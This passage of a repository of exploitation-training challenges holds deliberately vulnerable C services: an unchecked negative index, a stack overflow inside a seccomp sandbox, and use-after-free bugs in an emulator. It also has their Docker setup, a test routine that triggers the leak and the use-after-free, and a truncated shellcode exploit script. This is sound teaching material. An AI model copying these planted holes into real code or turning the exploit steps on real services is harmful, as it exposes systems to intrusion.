| void loop_exec_command() 88 | { 89 | char cmd[128]; 90 | int ret = 0; 91 | 92 | setvbuf(stdout, NULL, _IONBF, 0); 93 | do { 94 | memset(cmd, 0, sizeof(cmd)); 95 | write(STDOUT, "> ", 2); 96 | read(STDIN, cmd, sizeof(cmd) - 1); 97 | 98 | ret = dispatch(cmd); 99 | } while(ret); 100 | } 101 | 102 | int main(int argc, char **argv) 103 | { 104 | printf("Hello guest!\n"); 105 | loop_exec_command(); 106 | 107 | return 0; 108 | } 109 | -------------------------------------------------------------------------------- /challenges/ppc32-simple-fmt/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -d "/shared" ] && [ -v CHALLENGE_NAME ]; then 4 | cp /pwnable /shared/$CHALLENGE_NAME.bin 5 | md5sum --tag /pwnable > /shared/$CHALLENGE_NAME.bin.md5 6 | fi; 7 | 8 | while [ true ]; do 9 | # If we run with su, it is resulting in zombie process 10 | socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:"qemu-ppc /pwnable",pty,setuid=bob,echo=0,raw,iexten=0 11 | sleep 1 12 | done; 13 | -------------------------------------------------------------------------------- /challenges/x86-64-negative-indexing/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | RUN apt-get update && apt-get install -y build-essential socat 3 | 4 | WORKDIR /app 5 | COPY src /app/src/. 6 | COPY Makefile . 7 | RUN make 8 | RUN cp cbin /pwnable 9 | 10 | WORKDIR / 11 | RUN rm -rf /app 12 | 13 | COPY start.sh /start.sh 14 | RUN chmod 755 /start.sh 15 | RUN useradd -m bob 16 | 17 | EXPOSE 9000 18 | CMD ["/start.sh"] 19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/x86-64-negative-indexing/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= 3 | LDFLAGS=-s 4 | 5 | all: cbin 6 | cbin: src/ngix.o 7 | $(CC) -o cbin src/ngix.o $(LDFLAGS) 8 | 9 | .PHONY: clean 10 | clean: 11 | -rm src/*.o 12 | -rm cbin 13 | -------------------------------------------------------------------------------- /challenges/x86-64-negative-indexing/README.md: -------------------------------------------------------------------------------- 1 | # Negative Indexing Exploitation 2 | 3 | ## Learning Objective 4 | 5 | * Negative indexing vulnerabilities 6 | * Exploiting negative indexing for info leak and exploitation 7 | 8 | ## Usage 9 | 10 | ```bash 11 | $ docker build -t exp-ngix . 12 | $ docker run --rm --name exp-ngix -p 9000:9000 exp-ngix 13 | ``` 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /challenges/x86-64-negative-indexing/src/ngix.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | //#define DEBUG 9 | #ifdef DEBUG 10 | #define dprintf printf 11 | #else 12 | #define dprintf 13 | #endif 14 | 15 | #define CMD_SET 0x01 16 | #define CMD_GET 0x02 17 | #define CMD_EXIT 0xff 18 | 19 | #define FD_STDIN 0 20 | #define FD_STDOUT 1 21 | 22 | #define MAX_RANGE 100 23 | 24 | struct cache_item 25 | { 26 | void *p; 27 | int len; 28 | }; 29 | 30 | static 31 | struct cache_item *g_cache[MAX_RANGE + 1]; 32 | 33 | static 34 | int cmd_get() 35 | { 36 | int i = 0, len = 0; 37 | 38 | read(FD_STDIN, &i, 4); 39 | read(FD_STDIN, &len, 4); 40 | 41 | dprintf("CACHE GET: i=%d len=%d\n", i, len); 42 | 43 | if(g_cache[i] != NULL) 44 | write(FD_STDOUT, g_cache[i]->p, len); 45 | 46 | return 0; 47 | } 48 | 49 | static 50 | int cmd_set() 51 | { 52 | int i = 0, len = 0; 53 | struct cache_item *ci; 54 | 55 | read(FD_STDIN, &i, 4); 56 | read(FD_STDIN, &len, 4); 57 | 58 | //if(i > ((int) MAX_RANGE)) 59 | // return 1; 60 | 61 | ci = (void*) malloc(sizeof(*ci) + 1); 62 | if(NULL == ci) 63 | return 1; 64 | 65 | ci->p = (void*) malloc(len + 1); 66 | if(NULL == ci->p) 67 | return 1; 68 | 69 | read(FD_STDIN, ci->p, len); 70 | 71 | if(g_cache[i] != NULL) { 72 | free(g_cache[i]->p); 73 | free(g_cache[i]); 74 | } 75 | 76 | g_cache[i] = ci; 77 | return 0; 78 | } 79 | 80 | static 81 | int do_cmd(int cmd) 82 | { 83 | int ret = 0; 84 | 85 | dprintf("CMD: %d\n", cmd); 86 | 87 | switch(cmd) { 88 | case CMD_SET: 89 | ret = cmd_set(); 90 | break; 91 | case CMD_GET: 92 | ret = cmd_get(); 93 | break; 94 | case CMD_EXIT: 95 | ret = 1; 96 | break; 97 | } 98 | 99 | return ret; 100 | } 101 | 102 | static 103 | int srv_loop() 104 | { 105 | int i; 106 | int cmd; 107 | 108 | for(i = 0; i < 25; i++) { 109 | cmd = 0; 110 | if(read(FD_STDIN, &cmd, 1) != 1) 111 | break; 112 | 113 | if(do_cmd(cmd)) 114 | break; 115 | } 116 | 117 | return 0; 118 | } 119 | 120 | int main(int argc, char **argv) 121 | { 122 | return srv_loop(); 123 | } 124 | -------------------------------------------------------------------------------- /challenges/x86-64-negative-indexing/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -d "/shared" ] && [ -v CHALLENGE_NAME ]; then 4 | cp /pwnable /shared/$CHALLENGE_NAME.bin 5 | md5sum --tag /pwnable > /shared/$CHALLENGE_NAME.bin.md5 6 | fi; 7 | 8 | while [ true ]; do 9 | su bob -c "socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:/pwnable,pty,echo=0,raw,iexten=0" 10 | done; 11 | 12 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/.gitignore: -------------------------------------------------------------------------------- 1 | src/*.o 2 | src/sandbox 3 | src/core 4 | 5 | 6 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | RUN apt-get update 3 | RUN apt-get install -y build-essential socat libseccomp-dev 4 | 5 | WORKDIR /app 6 | COPY src/. ./src/. 7 | COPY Makefile . 8 | RUN make 9 | RUN cp sandbox /pwnable 10 | 11 | WORKDIR / 12 | RUN rm -rf /app/src 13 | 14 | COPY start.sh /start.sh 15 | RUN chmod 755 /start.sh 16 | 17 | RUN useradd -m bob 18 | EXPOSE 9000 19 | 20 | CMD ["/start.sh"] 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | 3 | all: 4 | gcc -m64 -z execstack -fno-stack-protector -o sandbox src/sandbox.c -lseccomp 5 | strip sandbox 6 | 7 | .PHONY: clean 8 | clean: 9 | -rm *.o 10 | -rm sandbox 11 | -rm core 12 | 13 | 14 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/README.md: -------------------------------------------------------------------------------- 1 | # Sandbox Escape 2 | 3 | ## Learning Objective 4 | 5 | * Linux seccomp sandbox 6 | * Attacking process outside sandbox 7 | 8 | ## Description 9 | 10 | ## Flag Store 11 | 12 | Due to the nature of this vulnerability, flag cannot be placed in environment variable because it can be read directly off memory. The bootstrap script will clear the environment after placing the flag in `/flag.txt`. 13 | 14 | > Notes 15 | 16 | * Solutions need to read the content of `/flag.txt` 17 | * Container orchestrator must place the flag in `PWNFLAG` environment variable. 18 | 19 | ## Usage 20 | 21 | ```bash 22 | $ docker build -t exp-sandbox . 23 | $ docker run --rm --name exp-sandbox -p 9000:9000 exp-sandbox 24 | ``` 25 | 26 | ## References 27 | 28 | 29 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/src/sandbox.c: -------------------------------------------------------------------------------- 1 | // apt-get install libseccomp-dev 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | //#define DEBUG 15 | #ifdef DEBUG 16 | #define dprintf printf 17 | #else 18 | #define dprintf 19 | #endif 20 | 21 | #define SC_MAX_SIZE (1024 * 1024) 22 | 23 | void sa(int s) 24 | { 25 | dprintf("Signal quit! pid:%d sig:%d\n", getpid(), s); 26 | exit(1); 27 | } 28 | 29 | static 30 | void http_fetch(char *host, unsigned short port, char *path) 31 | { 32 | __asm__("nop"); 33 | } 34 | 35 | static 36 | void cmd_unimplemented(char cmd, int fd) 37 | { 38 | dprintf("Unimplemented command: 0x%02x\n", (unsigned int) cmd); 39 | } 40 | 41 | static 42 | void handle_pwnable(int fd) 43 | { 44 | char s_buf[100]; 45 | int n; 46 | 47 | n = 0; 48 | if(read(fd, (char*) &n, 4) <= 0) 49 | return; 50 | 51 | dprintf("Running pwnable, copying %d bytes\n", n); 52 | 53 | memset(s_buf, 0, sizeof(s_buf)); 54 | read(fd, s_buf, n); // XXX: Too easy, need to make it tricky! 55 | } 56 | 57 | static 58 | void handle_cmd(int fd, char cmd) 59 | { 60 | dprintf("Handling cmd: 0x%02x\n", (unsigned int) cmd); 61 | 62 | switch(cmd) 63 | { 64 | case 0x01: 65 | cmd_unimplemented(cmd, fd); 66 | case 0x02: 67 | cmd_unimplemented(cmd, fd); 68 | case 0x03: 69 | cmd_unimplemented(cmd, fd); 70 | case 0x04: 71 | cmd_unimplemented(cmd, fd); 72 | case 0x05: 73 | cmd_unimplemented(cmd, fd); 74 | break; 75 | case 0x0a: 76 | handle_pwnable(fd); 77 | break; 78 | default: 79 | dprintf("Unknown command 0x%02x\n", (unsigned int) cmd); 80 | break; 81 | } 82 | } 83 | 84 | static 85 | void handler_loop(int fd) 86 | { 87 | int i = 0; 88 | int ret; 89 | char cmd; 90 | 91 | while(++i) { 92 | //sleep(1); 93 | dprintf("Running handler loop: %d [fd=%d]\n", i, fd); 94 | ret = read(fd, &cmd, 1); 95 | if(ret <= 0) 96 | break; 97 | 98 | handle_cmd(fd, cmd); 99 | } 100 | } 101 | 102 | int main(int argc, char **argv) 103 | { 104 | scmp_filter_ctx sctx; 105 | int ret, n, s; 106 | void (*f)(); 107 | void *psc; 108 | int pipe_fds[2]; 109 | 110 | // standalone test 111 | //handler_loop(STDIN_FILENO); 112 | //exit(0); 113 | 114 | dprintf("//----------------- Good Morning!! \n"); 115 | 116 | ret = pipe(pipe_fds); // [0]:read [1]:write 117 | assert(ret == 0); 118 | 119 | dprintf("Pipe created %d/%d\n", pipe_fds[0], pipe_fds[1]); 120 | 121 | if(!fork()) { 122 | dprintf("Forked handler process with pid: %d\n", getpid()); 123 | 124 | signal(SIGALRM, sa); 125 | alarm(5); 126 | 127 | handler_loop(pipe_fds[0]); 128 | exit(0); 129 | } 130 | 131 | signal(SIGCHLD, SIG_IGN); 132 | signal(SIGSEGV, sa); 133 | signal(SIGTRAP, sa); 134 | signal(SIGALRM, sa); 135 | alarm(5); 136 | 137 | s = 0; 138 | if(read(STDIN_FILENO, (void*) &s, 4) <= 0) 139 | goto error_out; 140 | 141 | if(s > SC_MAX_SIZE) { 142 | dprintf("Requested size too large\n"); 143 | goto error_out; 144 | } 145 | 146 | psc = mmap(NULL, (size_t) s, PROT_READ | PROT_WRITE | PROT_EXEC, 147 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 148 | assert(psc != NULL); 149 | 150 | dprintf("Allocated %d bytes of stage1 memory at %p\n", s, psc); 151 | 152 | n = 0; 153 | while(s) { 154 | ret = read(STDIN_FILENO, ((char*)psc) + n, s); 155 | if(ret < 0) 156 | break; 157 | n += ret; 158 | s -= ret; 159 | } 160 | 161 | if(s) 162 | goto error_out; 163 | 164 | sctx = seccomp_init(SCMP_ACT_KILL); 165 | if(sctx == NULL) goto error_out; 166 | 167 | //ret = seccomp_rule_add(sctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 168 | //if(ret < 0) goto error_out; 169 | //ret = seccomp_rule_add(sctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); 170 | //if(ret < 0) goto error_out; 171 | 172 | // To exploit, we just need to write to pipe 173 | ret = seccomp_rule_add(sctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 174 | if(ret < 0) goto error_out; 175 | ret = seccomp_rule_add(sctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); 176 | if(ret < 0) goto error_out; 177 | ret = seccomp_rule_add(sctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 178 | if(ret < 0) goto error_out; 179 | 180 | dprintf("Loading sandbox rules\n"); 181 | ret = seccomp_load(sctx); 182 | if(ret < 0) goto error_out; 183 | 184 | dprintf("Sandbox active!!\n"); 185 | dprintf("Running stage1\n"); 186 | f = (void*) psc; 187 | f(); 188 | 189 | error_out: 190 | perror("error"); 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -d "/shared" ] && [ -v CHALLENGE_NAME ]; then 4 | cp /pwnable /shared/$CHALLENGE_NAME.bin 5 | md5sum --tag /pwnable > /shared/$CHALLENGE_NAME.bin.md5 6 | fi; 7 | 8 | echo $PWNFLAG > /flag.txt 9 | chown root:root /flag.txt 10 | chmod 644 /flag.txt 11 | 12 | while [ true ]; do 13 | # Need the environment clean 14 | su -l bob -c "socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:/pwnable,pty,echo=0,raw,iexten=0" 15 | done; 16 | 17 | -------------------------------------------------------------------------------- /challenges/x86-64-sandbox-BO/test/exploit.rb: -------------------------------------------------------------------------------- 1 | # coding: binary 2 | require 'metasm' 3 | 4 | LINUX_SYS_WRITE = 1 5 | LINUX_SYS_EXIT = 60 6 | PIPE_WRITE_FD = 4 7 | EXPLOIT_CMD = 0x0a 8 | 9 | exploit_data = "A" * 120 10 | exploit_data += "BBBBBBBB" 11 | exploit_data += "\xcc" * 32 12 | 13 | scode = ::Metasm::Shellcode.new(::Metasm::X86_64.new()) 14 | scode.parse < 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MAX_BUFFER 10240L 10 | #define FD_STDIN 0 11 | 12 | //#define DEBUG 13 | #ifdef DEBUG 14 | #define dprintf printf 15 | #else 16 | #define dprintf 17 | #endif 18 | 19 | #define ADDRESS 0x1000000 20 | #define EMU_VM_SIZE (2 * 1024 * 1024) 21 | #define STACK_OFFSET 0x200000 22 | #define MAX_INTRS (0xff + 1) 23 | 24 | #define X86_SYSTEM_CALL 0x80 25 | #define X86_SYS_EXIT 0x01 26 | #define X86_SYS_READ 0x03 27 | #define X86_SYS_WRITE 0x04 28 | #define X86_SYS_MMAP 0x5a 29 | #define X86_SYS_MUNMAP 0x5b 30 | #define X86_SYS_INITMOD 0x80 31 | #define X86_SYS_FINIMOD 0x81 32 | 33 | #define MMAP_MAX_ALLOC 0x200U 34 | #define MAX_MODULES 64 35 | 36 | struct emu_module_t 37 | { 38 | char name[64]; 39 | void *image; 40 | size_t len; 41 | void (*init)(); 42 | void (*fini)(); 43 | }; 44 | 45 | struct emu_module_t *module_table[MAX_MODULES]; 46 | static unsigned int module_table_idx; 47 | 48 | struct emu_mem_t 49 | { 50 | int mem_id; 51 | void *addr; 52 | size_t len; 53 | 54 | struct emu_mem_t *next; 55 | }; 56 | 57 | static 58 | struct emu_mem_t *mem_list_head; 59 | 60 | static 61 | int intrs_table[MAX_INTRS]; 62 | 63 | static 64 | void emu_mod_init() 65 | { 66 | dprintf("Module Init\n"); 67 | } 68 | 69 | static 70 | void emu_mod_fini() 71 | { 72 | dprintf("Module Fini\n"); 73 | } 74 | 75 | static 76 | void emu_do_exit(int n) 77 | { 78 | exit(n); 79 | } 80 | 81 | static 82 | int mem_list_add(void *addr, size_t len) 83 | { 84 | struct emu_mem_t *m = (struct emu_mem_t*) malloc(sizeof(*m) + 1); 85 | if(NULL == m) 86 | return -1; 87 | 88 | m->addr = addr; 89 | m->len = len; 90 | m->next = mem_list_head; 91 | 92 | if(mem_list_head) 93 | m->mem_id = mem_list_head->mem_id + 1; 94 | else 95 | m->mem_id = 1; 96 | 97 | mem_list_head = m; 98 | return m->mem_id; 99 | } 100 | 101 | static 102 | void mem_free(struct emu_mem_t *m) 103 | { 104 | free(m->addr); 105 | free(m); 106 | } 107 | 108 | static 109 | void mem_list_remove(struct emu_mem_t *m) 110 | { 111 | struct emu_mem_t *p; 112 | 113 | if(m == mem_list_head) { 114 | mem_list_head = m->next; 115 | mem_free(m); 116 | return; 117 | } 118 | 119 | p = mem_list_head; 120 | while(p->next) { 121 | if(p->next == m) { 122 | p->next = m->next; 123 | mem_free(m); 124 | break; 125 | } 126 | 127 | p = p->next; 128 | } 129 | } 130 | 131 | static 132 | void emu_mod_release(struct emu_module_t *mod) 133 | { 134 | if(NULL == mod) 135 | return; 136 | 137 | mod->fini(); 138 | free(mod); 139 | } 140 | 141 | static 142 | void emu_do_init_module(uc_engine *uc, void *addr, size_t len, const char **params) 143 | { 144 | struct emu_module_t *mod = malloc(sizeof(*mod)); 145 | int ret = -1; 146 | 147 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 148 | if(NULL == mod) 149 | return; 150 | 151 | mod->init = &emu_mod_init; 152 | mod->fini = &emu_mod_fini; 153 | sprintf(mod->name, "Module at 0x%08x", (unsigned int) addr); 154 | 155 | ret = module_table_idx; 156 | if(module_table[module_table_idx] != NULL) 157 | emu_mod_release(module_table[module_table_idx]); 158 | 159 | module_table[module_table_idx++] = mod; 160 | module_table_idx = module_table_idx % MAX_MODULES; 161 | 162 | mod->init(); 163 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 164 | } 165 | 166 | static 167 | void emu_do_fini_module(uc_engine *uc, int fd, const char **params, int flags) 168 | { 169 | if(module_table[fd] != NULL) 170 | emu_mod_release(module_table[fd]); 171 | } 172 | 173 | static void emu_do_munmap(uc_engine *uc, void *addr, size_t len) 174 | { 175 | struct emu_mem_t *m = mem_list_head; 176 | int mem_id = (int) addr; 177 | 178 | dprintf("munmap: %d\n", (int) mem_id); 179 | 180 | while(m) { 181 | if(m->mem_id == mem_id) { 182 | mem_list_remove(m); 183 | break; 184 | } 185 | 186 | m = m->next; 187 | } 188 | } 189 | 190 | static void emu_do_mmap(uc_engine *uc, 191 | void *addr, size_t len, int prot, int flags, int fd, off_t offset) 192 | { 193 | int r_eax = MAP_FAILED; 194 | int id; 195 | void *p; 196 | 197 | uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); 198 | if(!(flags & MAP_ANONYMOUS)) 199 | return; 200 | 201 | if(len > MMAP_MAX_ALLOC) 202 | return; 203 | 204 | dprintf("mmap: Allocating %d bytes\n", len); 205 | 206 | p = (void*) malloc(len); 207 | if(p == NULL) 208 | return; 209 | 210 | mprotect(p, len, PROT_READ | PROT_WRITE | PROT_EXEC); 211 | id = mem_list_add(p, len); 212 | 213 | uc_reg_write(uc, UC_X86_REG_EAX, &id); 214 | } 215 | 216 | static 217 | void emu_do_read(uc_engine *uc, int fd, void *buf, size_t size) 218 | { 219 | struct emu_mem_t *m = mem_list_head; 220 | int ret = -1; 221 | 222 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 223 | 224 | while(m != NULL) { 225 | if(m->mem_id == fd) 226 | break; 227 | m = m->next; 228 | } 229 | 230 | if(!m) 231 | return; 232 | 233 | ret = size; 234 | uc_mem_write(uc, (uint64_t) buf, m->addr, size); 235 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 236 | } 237 | 238 | static 239 | void emu_do_write(uc_engine *uc, int fd, void *buf, size_t size) 240 | { 241 | struct emu_mem_t *m = mem_list_head; 242 | int ret = -1; 243 | size_t s; 244 | 245 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 246 | 247 | while(m != NULL) { 248 | if(m->mem_id == fd) 249 | break; 250 | m = m->next; 251 | } 252 | 253 | if(!m) 254 | return; 255 | 256 | s = size; 257 | if(s > m->len) 258 | s = m->len; 259 | 260 | if(!uc_mem_read(uc, (uint64_t) buf, m->addr, s)) { 261 | ret = s; 262 | uc_reg_write(uc, UC_X86_REG_EAX, &ret); 263 | } 264 | } 265 | 266 | static 267 | void hook_intr(uc_engine *uc, uint32_t intno, void *user_data) 268 | { 269 | int r_eax, r_ebx, r_ecx, r_edx, r_esi, r_edi, r_ebp; 270 | 271 | dprintf("Handling interrupt: %d\n", (int) intno); 272 | intrs_table[intno] += 1; 273 | 274 | if(intno == X86_SYSTEM_CALL) { 275 | r_eax = r_ebx = r_ecx = r_edx = r_esi = r_edi = r_ebp = 0; 276 | 277 | uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); 278 | uc_reg_read(uc, UC_X86_REG_EBX, &r_ebx); 279 | uc_reg_read(uc, UC_X86_REG_ECX, &r_ecx); 280 | uc_reg_read(uc, UC_X86_REG_EDX, &r_edx); 281 | uc_reg_read(uc, UC_X86_REG_ESI, &r_esi); 282 | uc_reg_read(uc, UC_X86_REG_EDI, &r_edi); 283 | uc_reg_read(uc, UC_X86_REG_EBP, &r_ebp); 284 | 285 | switch(r_eax) { 286 | case X86_SYS_EXIT: 287 | emu_do_exit(r_ebx); 288 | break; 289 | case X86_SYS_READ: 290 | emu_do_read(uc, r_ebx, r_ecx, r_edx); 291 | break; 292 | case X86_SYS_WRITE: 293 | emu_do_write(uc, r_ebx, r_ecx, r_edx); 294 | break; 295 | case X86_SYS_MMAP: 296 | emu_do_mmap(uc, r_ebx, r_ecx, r_edx, r_esi, r_edi, r_ebp); 297 | break; 298 | case X86_SYS_MUNMAP: 299 | emu_do_munmap(uc, r_ebx, r_ecx); 300 | break; 301 | case X86_SYS_INITMOD: 302 | emu_do_init_module(uc, r_ebx, r_ecx, r_edx); 303 | break; 304 | case X86_SYS_FINIMOD: 305 | emu_do_fini_module(uc, r_ebx, r_ecx, r_edx); 306 | break; 307 | } 308 | } 309 | } 310 | 311 | static 312 | bool hook_memory_unmapped(uc_engine *uc, uc_mem_type type, 313 | uint64_t address, int size, int64_t value, void *user_data) 314 | { 315 | bool ret = true; 316 | 317 | switch(type) { 318 | case UC_MEM_WRITE_UNMAPPED: 319 | dprintf("Unmapped memory write at 0x%"PRIx64" with size:%d value: %d\n", 320 | address, size, value); 321 | break; 322 | case UC_MEM_READ_UNMAPPED: 323 | dprintf("Unmapped memory read at 0x%"PRIx64" with size:%d value: %d\n", 324 | address, size, value); 325 | break; 326 | default: 327 | ret = false; 328 | break; 329 | } 330 | 331 | return ret;; 332 | } 333 | 334 | static 335 | int emulate_verify_code(void *code, size_t len) 336 | { 337 | uc_engine *uc; 338 | uc_err err; 339 | uc_hook trace_intr; 340 | uc_hook trace_ma; 341 | 342 | dprintf("Emulating %d bytes of code\n", (int) len); 343 | 344 | int r_esp = ADDRESS + STACK_OFFSET; 345 | err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); 346 | if(err) { 347 | dprintf("Failed to initialize unicorn engine. Err code: %u\n", err); 348 | return -1; 349 | } 350 | 351 | uc_mem_map(uc, ADDRESS, EMU_VM_SIZE, UC_PROT_ALL); 352 | if(uc_mem_write(uc, ADDRESS, code, len)) { 353 | dprintf("Failed to write code in emulation memory!\n"); 354 | return -1; 355 | } 356 | 357 | uc_reg_write(uc, UC_X86_REG_ESP, &r_esp); 358 | uc_hook_add(uc, &trace_intr, UC_HOOK_INTR, hook_intr, NULL, 1, 0); 359 | uc_hook_add(uc, &trace_ma, UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, 360 | hook_memory_unmapped, NULL, 1, 0); 361 | 362 | err = uc_emu_start(uc, ADDRESS, ADDRESS + len, 0, 0); 363 | if(err) { 364 | dprintf("Emulation failed with error code: %u\n", err); 365 | return -1; 366 | } 367 | 368 | uc_close(uc); 369 | return 0; 370 | } 371 | 372 | int real_main(int argc, char **argv) 373 | { 374 | int n = 0; 375 | int v = 0; 376 | void *p; 377 | 378 | dprintf("argv is at 0x%"PRIx64"\n", (void*) argv); 379 | 380 | n = read(FD_STDIN, &v, 4); 381 | if(n != 4) 382 | return -1; 383 | 384 | dprintf("Code len: %d\n", v); 385 | 386 | if(((unsigned int) v) > MAX_BUFFER) 387 | return -1; 388 | 389 | p = mmap(NULL, v, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, 0, 0); 390 | if(p == NULL) 391 | return -1; 392 | 393 | memset(p, 0, v); 394 | n = read(FD_STDIN, p, v); 395 | if(n < 0) 396 | return -1; 397 | 398 | if(emulate_verify_code(p, n)) { 399 | printf("ERR in emulation\n"); 400 | } 401 | else { 402 | printf("DONE\n"); 403 | } 404 | 405 | return 0; 406 | } 407 | 408 | int test_main(int a, char **b) 409 | { 410 | uc_engine *uc; 411 | int ret; 412 | int i; 413 | 414 | uc_open(UC_ARCH_X86, UC_MODE_32, &uc); 415 | uc_mem_map(uc, ADDRESS, EMU_VM_SIZE, UC_PROT_ALL); 416 | 417 | ret = 0; 418 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 419 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 420 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 421 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 422 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 423 | uc_reg_read(uc, UC_X86_REG_EAX, &ret); 424 | 425 | printf("EAX=%d\n", ret); 426 | 427 | emu_do_munmap(uc, (void*) 1, 100); 428 | emu_do_munmap(uc, (void*) 3, 100); 429 | emu_do_munmap(uc, (void*) 2, 100); 430 | emu_do_munmap(uc, (void*) 5, 100); 431 | emu_do_munmap(uc, (void*) 4, 100); 432 | 433 | ret = 0; 434 | emu_do_mmap(uc, NULL, 100, 0, MAP_ANON, -1, 0); 435 | uc_reg_read(uc, UC_X86_REG_EAX, &ret); 436 | printf("EAX=%d\n", ret); 437 | 438 | // mem leak - need ret to have correct mem_id 439 | emu_do_read(uc, ret, ADDRESS, 0x1000); 440 | for(i = 0; i < (0x1000 / 4); i++) { 441 | uc_mem_read(uc, ADDRESS + (i * 4), &ret, 4); 442 | printf("%08x ", ret); 443 | 444 | if(!(i % 8)) 445 | printf("\n"); 446 | } 447 | 448 | // Must have 1 mem entry for this to succeed 449 | ret = 0xfefefefe; 450 | uc_mem_write(uc, ADDRESS, (void*) &ret, 4); 451 | emu_do_write(uc, mem_list_head->mem_id, ADDRESS, 4); 452 | uc_reg_read(uc, UC_X86_REG_EAX, &ret); 453 | printf("After emu_do_write EAX=%d\n", ret); 454 | printf("HEAD val: 0x%08x\n", *(unsigned int*) mem_list_head->addr); 455 | 456 | // UaF 457 | // Create holes 458 | for(i = 0; i < 100; i++) 459 | emu_do_mmap(uc, NULL, sizeof(struct emu_module_t), 0, MAP_ANON, -1, 0); 460 | for(i = 0; i < 200; i++) 461 | emu_do_munmap(uc, (void*) i, 100); 462 | 463 | // Alloc and free target 464 | emu_do_init_module(uc, NULL, 0, NULL); 465 | uc_reg_read(uc, UC_X86_REG_EAX, &ret); 466 | printf("mod_fd EAX=%d\n", ret); 467 | 468 | emu_do_fini_module(uc, ret, NULL, 0); 469 | 470 | // Re-use free'd memory 471 | char buf[100]; 472 | memset(buf, 0x41, sizeof(buf)); 473 | 474 | for(i = 0; i < 200; i++) { 475 | uc_mem_write(uc, ADDRESS, (void*) &buf, sizeof(buf)); 476 | emu_do_mmap(uc, NULL, sizeof(struct emu_module_t), 0, MAP_ANON, -1, 0); 477 | emu_do_write(uc, i, ADDRESS, sizeof(buf)); 478 | } 479 | 480 | // Trigger UaF 481 | for(i = 0; i < 100; i++) 482 | emu_do_init_module(uc, NULL, 0, NULL); 483 | 484 | 485 | // Clear up mem list 486 | emu_do_munmap(uc, (void*) 2, 100); 487 | emu_do_munmap(uc, (void*) 5, 100); 488 | emu_do_munmap(uc, (void*) 4, 100); 489 | emu_do_exit(0); 490 | } 491 | 492 | //#define TEST_RUN 493 | 494 | int main(int argc, char **argv) 495 | { 496 | #ifdef TEST_RUN 497 | return test_main(argc, argv); 498 | #else 499 | return real_main(argc, argv); 500 | #endif 501 | } 502 | -------------------------------------------------------------------------------- /challenges/x86-64-uniemu/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -d "/shared" ] && [ -v CHALLENGE_NAME ]; then 4 | cp /pwnable /shared/$CHALLENGE_NAME.bin 5 | md5sum --tag /pwnable > /shared/$CHALLENGE_NAME.bin.md5 6 | fi; 7 | 8 | while [ true ]; do 9 | socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:/pwnable,pty,setuid=bob,echo=0,raw,iexten=0 10 | sleep 1 11 | done; 12 | 13 | -------------------------------------------------------------------------------- /challenges/x86-64-uniemu/test/uaf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | using namespace std; 8 | 9 | class Bling { 10 | public: 11 | virtual void hello(); 12 | }; 13 | 14 | void Bling::hello() 15 | { 16 | cout << "Hello World" << endl; 17 | } 18 | 19 | void fill(size_t s) 20 | { 21 | void *p = (void*) malloc(s); 22 | if(p) memset(p, 0x41, s); 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | Bling *b1 = new Bling(); 28 | Bling *b2 = b1; 29 | 30 | b1->hello(); 31 | delete b1; 32 | fill(16); fill(16); 33 | 34 | b2->hello(); 35 | } 36 | -------------------------------------------------------------------------------- /dev/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | config.vm.box = "ubuntu/xenial64" 6 | config.vm.network "public_network" 7 | 